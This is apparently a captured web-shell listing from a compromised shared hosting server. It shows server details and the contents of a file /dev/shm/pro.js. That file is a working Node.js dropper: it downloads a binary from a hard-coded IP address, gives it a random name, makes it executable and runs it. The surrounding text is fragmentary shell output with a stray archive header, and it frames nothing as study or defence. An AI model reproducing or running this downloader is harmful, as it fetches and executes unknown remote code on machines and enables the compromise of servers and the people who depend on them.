PK
œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Notice: ob_end_clean(): Failed to delete buffer. No buffer to delete in /home/qpfajntr/ekhaya.265thami.com/qxtr.php on line 8
| Dir : /dev/shm/ |
| Server: Linux premium288.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64 IP: 162.254.39.137 |
| Dir : //dev/shm/pro.js |
const https = require('https');
const http = require('http');
const fs = require('fs');
const { execSync } = require('child_process');
const crypto = require('crypto');
const path = require('path');
function downloadFile(url, dest) {
return new Promise((resolve, reject) => {
const protocol = url.startsWith('https') ? https : http;
const request = protocol.get(url, (response) => {
if (response.statusCode === 301 || response.statusCode === 302) {
return downloadFile(response.headers.location, dest).then(resolve).catch(reject);
}
if (response.statusCode !== 200) {
return reject(new Error(`HTTP ${response.statusCode}`));
}
const file = fs.createWriteStream(dest);
response.pipe(file);
file.on('finish', () => {
file.close(() => resolve());
});
});
request.on('error', (err) => {
reject(err);
});
});
}
function generateRandomFilename() {
const randomStr = crypto.randomBytes(8).toString('hex');
const timestamp = Date.now();
return `${timestamp}_${randomStr}`;
}
async function main() {
try {
const url = 'http://129.80.185.131/next';
const currentDir = process.cwd();
const randomFilename = generateRandomFilename();
const dest = path.join(currentDir, randomFilename);
console.log(`Downloading ${url} to ${dest}`);
await downloadFile(url, dest);
console.log(`Setting executable permissions: ${dest}`);
fs.chmodSync(dest, 0o755);
console.log(`Executing ${dest}`);
const output = execSync(dest, { stdio: 'pipe' });
console.log(`Execution output: ${output.toString().substring(0, 200)}`);
} catch (err) {
console.error(`Error: ${err.message}`);
process.exit(1);
}
}
if (require.main === module) {
main();
}
module.exports = { downloadFile };